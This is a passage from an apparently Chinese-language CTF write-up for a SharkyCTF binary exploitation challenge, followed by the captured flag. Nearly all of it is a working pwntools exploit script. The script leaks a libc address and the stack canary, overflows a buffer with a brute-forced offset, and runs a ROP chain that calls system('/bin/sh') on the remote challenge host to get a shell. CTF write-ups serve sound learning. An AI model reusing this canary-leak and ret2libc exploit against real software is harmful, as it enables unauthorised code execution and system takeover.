可以看到 v4 这个变量正常情况下是由 case 9u 来进行设置的,但是如果真的由 case 9u 来设置,那程序必会进行正常的执行流,导致程序最后崩溃

所以考虑用之前的漏洞点来输入,找偏移

使得输入可以将[rbp - 0x58]覆盖为 0,将[rbp - 0x8]覆盖为 canary

rbp 有着 1 / 16 的概率会为我们的布局服务,因为偏移是固定的,所以不用考虑布局之间的偏移,找个能用的偏移爆破就好了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
while True:
    try:
        if debug == 1:
            p = process(['./chall'])
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
        else:
            p = remote('sharkyctf.xyz', 20337)
            libc = ELF('./libc-2.27.so', checksec=False)

        p.sendlineafter('exit.\n> ', 'T')
        p.sendlineafter('\n\n> ', '2')
        p.sendafter('Rule n°6: ', 'a' * 0x8)
        p.recvuntil('a' * 8)

        addr_sbrk = u64(p.recv(6).ljust(8, '\x00')) - 113
        libcbase = addr_sbrk - libc.sym['sbrk']
        addr_system = libcbase + libc.sym['system']
        addr_bin_sh = libcbase + libc.search('/bin/sh').next()
        rop1 = libcbase + libc.search(asm('pop rdi;ret')).next()

        p.sendlineafter(' (y/n)', 'u')
        p.sendafter('Rule n°6: ', 'a' * 0xa9)
        p.recvuntil('a' * 0xa9)
        canary = u64('\x00' + p.recv(7))

        # gdb.attach(p, "b *$rebase(0xF88)\nb *$rebase(0x1dab)\nc")
        p.sendlineafter(' (y/n)', 'u')

        pd = 'a' * 0x138
        pd += p64(0)
        pd = pd.ljust(0x188, 'b')
        pd += p64(canary)
        pd += p64(0)
        pd += p64(rop1 + 1)
        pd += p64(rop1)
        pd += p64(addr_bin_sh)
        pd += p64(addr_system)
        p.sendafter('Rule n°6: ', pd)
        p.sendlineafter(' (y/n)', 'y')
        success('addr_sbrk       = ' + hex(addr_sbrk))
        success('addr_system     = ' + hex(addr_system))
        p.sendline('9')
        p.recv()
        p.recv(timeout=1)
        p.interactive()
        p.close()
    except EOFError:
        p.close()
        continue

Flag:

shkCTF{p34ce_and_L0ve_to_ev3ry_french_K1k00}
点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注